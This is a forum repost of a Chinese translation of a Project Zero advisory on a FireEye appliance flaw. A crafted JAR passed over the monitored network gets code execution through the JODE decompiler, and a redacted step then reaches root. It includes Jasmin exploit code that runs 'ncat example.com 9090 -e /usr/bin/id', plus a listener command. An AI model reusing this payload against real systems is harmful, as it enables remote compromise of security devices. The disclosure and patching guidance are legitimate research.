搜索

[9654] 2015-12-18_编号666：谷歌发现FireEye设备高危漏洞

文档创建者：s7ckTeam
浏览次数：36
最后更新：2025-01-18
2015-12-18_编号666：谷歌发现FireEye设备高危漏洞 编 号 6 6 6 ： 谷 歌 发 现 F i r e E y e 设 备 高 危 漏 洞 鸢 尾   F r e e B u f   2 0 1 5 - 1 2 - 1 8 F i r e E y e 向 企 业 和 政 府 用 户 销 售 安 全 设 备 ， 其 旗 舰 产 品 安 装 在 大 型 网 络 的 出 口 点 用 以 监 控 设 备 ， 也 就 是 安 装 在 内 部 流 量 向 企 业 和 政 府 用 户 销 售 安 全 设 备 ， 其 旗 舰 产 品 安 装 在 大 型 网 络 的 出 口 点 用 以 监 控 设 备 ， 也 就 是 安 装 在 内 部 流 量 通 向 互 联 网 的 地 方 。 通 向 互 联 网 的 地 方 。 简 要 概 述 简 要 概 述 一 个 组 织 在 其 内 部 网 络 中 安 装 了 F i r e E y e 设 备 ， 然 后 连 接 到 一 个 S P A N 或 是 出 口 点 的 镜 像 端 口 ( 这 些 监 控 端 口 内 置 在 专 业 级 网 络 设 备 中 ) 。 F i r e E y e 设 备 之 后 就 被 动 查 看 所 有 网 络 流 量 ， 监 控 H T T P ,   F T P ,   S M T P 等 常 见 协 议 。 对 于 文 件 传 输 来 说 ， 如 果 检 测 到 文 件 传 输 ( 例 如 一 个 E m a i l 附 件 ， H T T P 下 载 ) F i r e E y e 会 提 取 文 件 并 扫 描 是 否 包 含 恶 意 软 件 。 原 则 上 ， 如 果 用 户 接 收 一 份 恶 意 E m a i l 或 者 访 问 恶 意 网 站 ， F i r e E y e 设 备 观 察 流 量 并 向 网 络 管 理 员 发 送 警 报 。 F i r e E y e 设 备 还 监 控 文 件 服 务 ， M a i l   E x c h a n g e r 等 。 对 于 部 署 了 F i r e E y e 设 备 的 网 络 ， 一 个 被 动 监 控 接 口 存 在 的 漏 洞 利 用 绝 对 是 恶 梦 。 这 也 意 味 着 攻 击 者 仅 仅 只 需 发 送 一 封 电 子 邮 件 便 可 以 获 得 网 路 分 流 器 ( N e t w o r k   T a p ) 访 问 权 限 ， 甚 至 都 不 需 要 接 收 者 打 开 这 封 恶 意 电 子 邮 件 ， 只 是 接 收 便 行 了 ！ 网 路 分 流 器 ( N e t w o r k   T a p ) 是 网 络 中 权 限 最 高 的 机 器 之 一 ， 访 问 员 工 的 电 子 邮 件 ， 密 码 ， 下 载 记 录 ， 浏 览 记 录 ， 机 密 附 件 等 。 在 某 些 部 署 配 置 中 [ 1 ] ， 攻 击 者 可 以 篡 改 流 量 ， 插 入 恶 意 后 门 或 者 更 糟 糕 的 。 因 为 F i r e E y e 设 备 通 常 会 使 用 第 二 个 联 网 接 口 来 进 行 设 备 更 新 管 理 ， 所 以 出 现 的 这 个 问 题 可 行 性 十 分 高 ！
在 本 文 中 我 们 将 讨 论 P r o j e c t   Z e r o 发 现 的 第 6 6 6 个 漏 洞 ： F i r e E y e 设 备 可 通 过 被 动 监 控 接 口 进 行 利 用 的 漏 洞 。 F i r e E y e 已 经 发 布 了 针 对 该 漏 洞 的 补 丁 ， 请 用 户 立 即 应 用 该 补 丁 ！ [ 1 ] F i r e E y e 设 备 可 以 在 I P S 模 式 下 进 行 配 置 ， 这 么 做 可 以 修 改 监 控 流 量 [ 2 ] 该 问 题 刚 刚 好 是 P r o j e c t   Z e r o 发 现 的 第 6 6 6 个 漏 洞 常 见 问 答 常 见 问 答 Q ： 如 何 检 查 是 否 我 的 F i r e E y e 设 备 存 在 该 漏 洞 ？ A ： 通 常 ， 设 备 的 安 全 版 本 为 4 2 7 . 3 3 4 或 更 高 那 么 该 漏 洞 已 经 被 修 复 ， F i r e E y e 官 方 发 布 的 该 漏 洞 相 关 信 息 请 查 看 原 文 链 接 。 Q ： 哪 些 F i r e E y e 产 品 受 此 漏 洞 影 响 ？ A ： 默 认 配 置 下 N X ,   F X ,   A X   以 及 E X 系 列 产 品 都 受 该 漏 洞 影 响 Q ： 获 取 报 告 之 后 F i r e E y e 需 要 多 久 时 间 解 决 该 问 题 ？ A ： F i r e E y e 响 应 非 常 迅 速 ， 在 数 小 时 之 内 向 用 户 推 送 了 临 时 解 决 方 案 ， 之 花 了 2 天 时 间 便 解 决 了 整 个 问 题 。 Q ： F i r e E y e 支 持 你 们 的 安 全 研 究 吗 ？ A ： F i r e E y e 在 这 方 面 做 的 非 常 不 错 ， 我 们 之 间 的 合 作 非 常 密 切 ， 提 供 测 试 设 备 支 持 并 且 对 问 题 的 响 应 非 常 迅 速 Q ： 目 前 我 无 法 更 新 F i r e E y e 应 用 ， 我 应 该 采 取 什 么 措 施 来 缓 解 该 问 题 呢 ？ A ： F i r e E y e 提 供 的 减 缓 措 施 是 可 用 的 ， 详 细 你 可 以 联 系 F i r e E y e 技 术 支 持 ， 他 们 会 帮 助 你 完 成 该 项 任 务 。 实 验 室 设 置 实 验 室 设 置 P r o j e c t   Z e r o 之 前 一 直 在 评 估 F i r e E y e   N X   7 5 0 0 设 备 ， 为 此 创 建 了 一 个 实 验 室 来 生 成 样 本 流 量 。 测 试 环 境 包 含 一 个 配 有 4 个 网 络 接 口 的 工 作 站 ， 其 中 两 个 接 口 连 接 到 中 心 用 以 模 拟 网 络 流 量 。 F i r e E y e 被 动 监 控 接 口 ( 也 被 称 作 p e t h e r 3 ) 连 接 到 中 心 ( 类 似 于 镜 像 端 口 ) 的 第 三 个 接 口 ， 所 以 它 可 以 在 测 试 机 器 上 用 来 观 察 两 个 接 口 之 间 流 量 间 的 交 换 。 这 是 用 来 模 拟 内 部 网 络 中 用 户 从 互 联 网 中 接 收 电 子 邮 件 或 者 下 载 文 件 。 额 外 的 接 口 作 为 F i r e E y e 的 管 理 接 口 ， 以 及 L A N 访 问 ：
这 是 一 个 棘 手 的 路 由 配 置 ， 特 别 是 从 两 个 本 地 接 口 ( e t h 2 ,   e t h 3 ) 流 向 中 心 的 流 量 中 截 获 流 量 。 这 需 要 一 些 L i n u x 下 路 由 工 作 的 知 识 作 为 铺 垫 。 既 然 这 样 ， 我 想 要 在 1 9 2 . 1 6 8 . 2 . 0 / 2 4 上 模 拟 网 络 ， 在 1 9 2 . 1 6 8 . 1 . 1 / 2 4 上 管 理 接 口 。 这 需 要 调 整 本 地 路 由 表 并 创 建 对 应 的 规 则 。 #   F i r s t ,   m a k e   s u r e   L i n u x   w i l l   a c c e p t   l o c a l < - > h u b < - > l o c a l   t r a f f i c e c h o   1   >   / p r o c / s y s / n e t / i p v 4 / c o n f / a l l / a c c e p t _ l o c a l #   G i v e   t h e   t w o   i n t e r f a c e s   c o n n e c t e d   t o   t h e   h u b   s t a t i c   a d d r e s s e s . i p   a d d r   a d d   1 9 2 . 1 6 8 . 2 . 2   d e v   e t h 2 i p   a d d r   a d d   1 9 2 . 1 6 8 . 2 . 1   d e v   e t h 3 #   R o u t e   t r a f f i c   d e s t i n e d   f o r   e a c h   a d d r e s s   t o   t h e   * o p p o s i t e *   d e v i c e i p   r o u t e   a d d   1 9 2 . 1 6 8 . 2 . 1   d e v   e t h 2 i p   r o u t e   a d d   1 9 2 . 1 6 8 . 2 . 2   d e v   e t h 3 #   F o r c e   L i n u x   t o   f o r g e t   t h a t   t h e s e   a r e   l o c a l   i n t e r f a c e s   s o   t h e   t r a f f i c   a c t u a l l y   r e a c h e s   t h e   h u b . i p   r o u t e   d e l   1 9 2 . 1 6 8 . 2 . 2   t a b l e   l o c a l i p   r o u t e   d e l   1 9 2 . 1 6 8 . 2 . 1   t a b l e   l o c a l #   N o w   a d d   c o r r e s p o n d i n g   r u l e s   f o r   e a c h   i n t e r f a c e i p   r u l e   a d d   i i f   e t h 2   l o o k u p   1 0 0 i p   r o u t e   a d d   l o c a l   1 9 2 . 1 6 8 . 2 . 2   d e v   e t h 2   t a b l e   1 0 0 i p   r u l e   a d d   i i f   e t h 3   l o o k u p   1 0 1 i p   r o u t e   a d d   l o c a l   1 9 2 . 1 6 8 . 2 . 1   d e v   e t h 3   t a b l e   1 0 1 访 问 管 理 接 口 ， 通 过 t t y S 0 在 正 确 的 子 网 中 给 F i r e E y e 设 备 的 e t h e r 1 接 口 配 置 一 个 静 态 地 址 ： #   E n a b l e   t h e   m a n a g e m e n t   i n t e r f a c e   o n   m y   w o r k s t a t i o n i f c o n f i g   e t h 1   u p   1 9 2 . 1 6 8 . 1 . 1   n e t m a s k   2 5 5 . 2 5 5 . 2 5 5 . 0 #   N o w   c o n f i g u r e   t h e   m a n a g e m e n t   i n t e r f a c e   o n   t h e   F i r e E y e f i r e e y e >   n o   i n t e r f a c e   e t h e r 1   d h c p
f i r e e y e >   i n t e r f a c e   e t h e r 1   i p   a d d r e s s   1 9 2 . 1 6 8 . 1 . 2   2 5 5 . 2 5 5 . 2 5 5 . 0 这 是 允 许 从 管 理 接 口 访 问 F i r e E y e 设 备 的 ， 并 通 过 来 自 同 一 台 机 器 的 网 路 分 流 器 生 成 模 拟 流 量 。 配 置 完 成 后 ， 模 拟 用 户 从 互 联 网 下 载 一 份 文 件 。 你 只 需 在 1 9 2 . 1 6 8 . 2 . 2 / 2 4 上 进 行 简 单 的 下 载 操 作 ： #   S t a r t   a   p y t h o n   w e b   s e r v e r   t o   s i m u l a t e   a   w e b s i t e $   s u d o   p y t h o n   - m   S i m p l e H T T P S e r v e r   8 0   & #   C r e a t e   a   f i l e   t o   d o w n l o a d $   e c h o   h e l l o   >   t e s t . t x t #   D o w n l o a d   t h e   f i l e   a c r o s s   t h e   h u b ,   s o   t h a t   t h e   F i r e E y e   c a n   s e e   i t $   c u r l   - s   h t t p : / / 1 9 2 . 1 6 8 . 2 . 2 / t e s t . t x t h e l l o 登 录 F i r e E y e 管 理 接 口 ， 然 后 使 用 t c p d u m p 验 证 被 动 接 口 能 看 到 模 拟 网 络 流 量 ： f i r e e y e >   t c p d u m p   - i   p e t h e r 3 t c p d u m p :   v e r b o s e   o u t p u t   s u p p r e s s e d ,   u s e   - v   o r   - v v   f o r   f u l l   p r o t o c o l   d e c o d e l i s t e n i n g   o n   p e t h e r 3 ,   l i n k - t y p e   E N 1 0 M B   ( E t h e r n e t ) ,   c a p t u r e   s i z e   2 6 2 1 4 4 b y t e s 1 3 : 3 8 : 3 0 . 9 8 0 0 7 3   I P   1 9 2 . 1 6 8 . 2 . 1 . 5 8 2 7 6   >   1 9 2 . 1 6 8 . 2 . 2 . h t t p :   F l a g s   [ S ] ,   s e q   2 1 1 2 4 0 8 5 3 4 ,   w i n   2 9 2 0 0 ,   o p t i o n s   [ m s s   1 4 6 0 , s a c k O K , T S   v a l   1 1 3 3 7 4 1 0 8 9 e c r   0 , n o p , w s c a l e   7 ] ,   l e n g t h   0 1 3 : 3 8 : 3 0 . 9 8 1 0 6 5   I P   1 9 2 . 1 6 8 . 2 . 2 . h t t p   >   1 9 2 . 1 6 8 . 2 . 1 . 5 8 2 7 6 :   F l a g s   [ R . ] ,   s e q   0 ,   a c k   2 1 1 2 4 0 8 5 3 5 ,   w i n   0 ,   l e n g t h   0 2   p a c k e t s   c a p t u r e d 2   p a c k e t s   r e c e i v e d   b y   f i l t e r 0   p a c k e t s   d r o p p e d   b y   k e r n e l 成 功 确 认 F i r e E y e 能 够 监 控 模 拟 网 络 。 F i r e E y e 结 构 结 构 主 要 分 析 F i r e E y e 设 备 监 控 已 知 恶 意 流 量 ( 用 于 网 段 的 黑 名 单 ， 恶 意 域 名 ， 恶 意 规 则 等 ) ， 对 传 输 文 件 ( 杀 毒 软 件 ,   y a r a   规 则 , 以 及 分 析 脚 本 ) 的 静 态 分 析 ， 最 后 在 虚 拟 机 中 追 踪 传 输 文 件 的 执 行 。 一 旦 执 行 追 踪 生 成 便 与 已 知 的 恶 意 行 为 进 行 匹 配 。 在 该 阶 段 主 要 涉 及 的 组 件 有 b o t t ， m i p 和 s i l v e r f i s h   r e s p e c t i v e l y ： f i r e e y e >   s h o w   p m   p r o c e s s   b o t t P r o c e s s   b o t t   ( N e t w o r k   C o n t e n t   P r o c e s s i n g   E n g i n e ) S t a t e : C u r r e n t   s t a t u s :   r u n n i n g P I D :   1 4 7 4 5 U i d :   0 G i d :   0 f i r e e y e >   s h o w   p m   p r o c e s s   m i p   P r o c e s s   m i p   ( M a l w a r e   I n p u t   P r o c e s s o r ) . . . f i r e e y e >   s h o w   p m   p r o c e s s   s i l v e r f i s h P r o c e s s   s i l v e r f i s h   ( S u b m i t   f i l e s   f o r   V M   a n a l y s i s )
. . . M I P   ( M a l w a r e   I n p u t   P r o c e s s o r ) 子 系 统 负 责 文 件 的 静 态 分 析 ， 调 用 帮 助 程 序 和 插 件 解 码 各 类 型 文 件 。 比 如 调 用 s w f   h e l p e r 程 序 f l a s m 对 f l a s h 文 件 进 行 反 汇 编 ， d m g   h e l p e r 调 用 p 7 z i p 提 取 M a c   O S 磁 盘 映 象 ， 以 及 p n g   h e l p e r 调 用 p n g c h e c h k 来 验 证 图 片 。 j a r   h e l p e r 是 用 来 分 析 抓 取 到 的 J a v a   A r c h i v e s ， 使 用 j a r s i g n e r 来 检 测 签 名 ， 之 后 尝 试 使 用 一 款 开 源 J a v a 编 译 器 J O D E 对 内 容 进 行 反 编 译 。 一 旦 反 编 译 完 成 ， 便 在 在 解 码 器 输 出 中 检 测 已 知 的 恶 意 代 码 模 式 ， 例 如 ： r e g e x   =   r e . c o m p i l e ( " . * c l a s s   [ a - z A - Z 0 - 9 ] +   e x t e n d s   A p p l e t " ) r e g e x S c r i p t   =   r e . c o m p i l e ( " . * j a v a x . s c r i p t . S c r i p t E n g i n e " ) r e g e x R e f l e c t i o n   =   r e . c o m p i l e ( " . * j a v a . l a n g . r e f l e c t " ) J O D E 是 开 源 的 ， 其 代 码 可 以 拿 来 研 究 研 究 。 检 查 代 码 J O D E 广 泛 使 用 反 射 ， 甚 至 包 含 一 个 用 于 分 析 的 简 单 J a v a 虚 拟 机 ： J O D E 使 用 S i m p l e R u n t i m e E n v i r o n m e n t   c l a s s 通 过 动 态 执 行 某 些 字 节 来 反 混 淆 字 符 串 。 该 代 码 特 别 是 试 图 处 理 静 态 构 造 函 数 中 方 法 调 用 。
进 一 步 研 究 ， 把 我 自 己 都 下 了 一 跳 。 我 们 从 F i r e E y e 设 备 提 取 J O D E 进 行 更 细 致 的 研 究 ， j d b 调 试 器 确 认 了 O P T I O N _ D E C R Y P T 设 置 已 经 启 用 ， S i m p l e V i r t u a l M a c h i n e   c l a s s 有 如 下 定 义 ： $   j d b   - c l a s s p a t h   " . "   n e t . s f . j o d e . d e c o m p i l e r . M a i n   t e s t . j a r I n i t i a l i z i n g   j d b   . . . > s t o p   i n   n e t . s f . j o d e . e x p r . I n v o k e O p e r a t o r . d e o b f u s c a t e S t r i n g D e f e r r i n g   b r e a k p o i n t   n e t . s f . j o d e . e x p r . I n v o k e O p e r a t o r . d e o b f u s c a t e S t r i n g . I t   w i l l   b e   s e t   a f t e r   t h e   c l a s s   i s   l o a d e d >   r u n . . . m a i n [ 1 ]   d u m p   n e t . s f . j o d e . d e c o m p i l e r . O p t i o n s . o p t i o n s n e t . s f . j o d e . d e c o m p i l e r . O p t i o n s . o p t i o n s   =   8 3 1 这 就 意 味 着 在 网 上 发 送 一 个 J A R ， 我 们 可 以 通 过 F i r e E y e 假 装 使 用 字 符 串 模 糊 来 执 行 它 ！ 利 用 利 用 为 了 构 造 一 个 能 绕 过 J O D E 启 发 式 字 符 串 混 淆 的 c l a s s 文 件 ， 我 们 使 用 j a s m i n 汇 编 程 序 ， 他 能 提 供 我 们 j a v a c 所 不 能 表 现 处 的 灵 活 性 。 历 经 多 次 试 验 ， 我 们 终 于 创 建 了 一 个 J O D E 能 够 执 行 的 c l a s s 文 件 ， 并 使 用 它 调 用 j a v a . l a n g . R u n t i m e . g e t R u n t i m e ( ) . e x e c ( ) ， 其 允 许 我 们 执 行 任 意 s h e l l 命 令 。 在 我 们 的 测 试 工 作 中 ， 我 们 可 以 仅 仅 通 过 在 被 动 监 控 接 口 下 传 输 文 件 ， 进 行 命 令 执 行 。 F i r e E y e 默 认 附 加 安 装 了 n c a t ， 创 建 一 个 反 弹 S h e l l 就 像 指 定 一 个 我 们 想 要 的 命 令 一 样 简 单 。 以 下 为 我 们 使 用 的 j a s m i n 代 码 样 本 ， 使 用 n c a t 提 取 / u s r / b i n / i d 之 后 通 过 网 络 发 送 结 果 ： . m e t h o d   p u b l i c   s t a t i c   o b f ( L j a v a / l a n g / S t r i n g ; ) L j a v a / l a n g / S t r i n g ; . l i m i t   l o c a l s   1 . l i m i t   s t a c k   8 i n v o k e s t a t i c   j a v a / l a n g / R u n t i m e / g e t R u n t i m e ( ) L j a v a / l a n g / R u n t i m e ; l d c   " n c a t   e x a m p l e . c o m   9 0 9 0   - e   / u s r / b i n / i d "
i n v o k e v i r t u a l   j a v a / l a n g / R u n t i m e / e x e c ( L j a v a / l a n g / S t r i n g ; ) L j a v a / l a n g / P r o c e s s ; l d c   " t e s t " a r e t u r n . e n d   m e t h o d P r o j e c t   Z e r o   i s s u e   t r a c k e r 上 的 完 整 汇 编 文 件 是 可 用 的 。 现 在 我 们 只 需 为 F i r e E y e 构 造 一 个 J A R 文 件 进 行 反 编 译 ： $   j a s m i n   R e v e r s e S h e l l . j $   j a r   c v f   f i r e e y e . j a r   R e v e r s e S h e l l . c l a s s a d d e d   m a n i f e s t a d d i n g :   R e v e r s e S h e l l . c l a s s ( i n   =   4 8 9 )   ( o u t =   3 1 1 ) ( d e f l a t e d   3 6 % ) S t a r t   a   l i s t e n e r   f o r   m y   c o n n e c t b a c k   s h e l l : $   n c   - l p   9 0 9 0   & [ 1 ]   1 1 1 1 5 现 在 通 过 监 控 网 络 下 载 文 件 ， 模 拟 攻 击 发 送 J A R 邮 件 ， 或 者 让 用 户 点 击 下 链 接 ： $   c u r l   h t t p : / / 1 9 2 . 1 6 8 . 2 . 2 / f i r e e y e . j a r   & >   / d e v / n u l l 然 后 等 待 反 弹 S h e l l ， 这 个 时 间 取 决 于 机 器 的 负 载 ： $   w a i t u i d = 8 2 1 ( m i p ) g i d = 3 1 1 1 ( m i p ) g r o u p s = 3 1 1 1 ( m i p ) , 6 0 2 ( a n t i v i r u s ) , 2 0 0 0 ( a n a l y s i s ) , 3 0 0 1 ( s t a t s ) , 3 1 3 4 ( m i p _ c h i l d ) , 3 2 0 0 ( d i p c s h m ) , 3 2 0 3 ( r e p o r t s ) , 3 2 0 4 ( c o n t e n t s ) , 3 2 1 0 ( m i p _ c l i e n t ) [ 1 ] +   D o n e   n c   - l p   9 0 9 0 成 功 在 F i r e E y e 机 器 上 完 成 代 码 执 行 ！ 权 限 提 升 权 限 提 升 [ 部 分 打 码 部 分 打 码 ] 目 前 我 们 是 作 为 m i p ( 恶 意 软 件 输 入 处 理 器 ) 用 户 进 行 代 码 执 行 ， m i p 用 户 的 权 限 已 经 算 比 较 高 了 ， 能 够 访 问 敏 感 网 络 数 据 。 然 而 ， 随 着 █ █ █   █ █ █ █ █   █ █ █ █ █ █ █   █ █ █   █ █ █ █ █ █ █ █ █ █ █ █ █   █ █ █   █ █ █ █ █ █ █ █ ， 我 们 可 以 轻 松 获 得 r o o t 权 限 ， 这 是 因 为 █ █ █ █ █ █ █ █   █ █ █ █ █ █ █ █ █ █ █ █ █   █ █   █ █ █ █ █ █ █ █   █ █   █ █ █ █   █ █ █ █ █ 。 打 码 原 因 ： F i r e E y e 请 求 针 对 该 提 权 部 分 组 件 需 要 额 外 的 时 间 去 修 补 ： f i r e e y e #   i d u i d = 0 ( a d m i n )   g i d = 0 ( r o o t )   g r o u p s = 0 ( r o o t ) 现 在 ， 我 们 获 得 了 r o o t 权 限 ， 完 全 控 制 F i r e E y e 设 备 。 总 结 总 结 结 合 这 些 步 骤 ， 攻 击 者 可 以 向 用 户 发 送 一 封 电 子 邮 件 ， 或 是 等 待 用 户 点 击 链 接 。 最 终 获 得 r o o t 权 限 那 是 秒 秒 钟 的 事 情 ！ 该 漏 洞 会 导 致 机 密 数 据 的 泄 漏 ， 篡 改 流 量 。 请 根 据 问 答 部 分 ， 检 测 下 设 备 是 否 存 在 该 漏 洞 ， 如 存 在 请 及 时 修 补 。
* 原 文 地 址 ： P r o j e c t Z e r o ， 编 译 / F B 小 编 鸢 尾 ， 转 载 请 注 明 来 自 F r e e B u f 黑 客 与 极 客 （ F r e e B u f . C O M ） 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理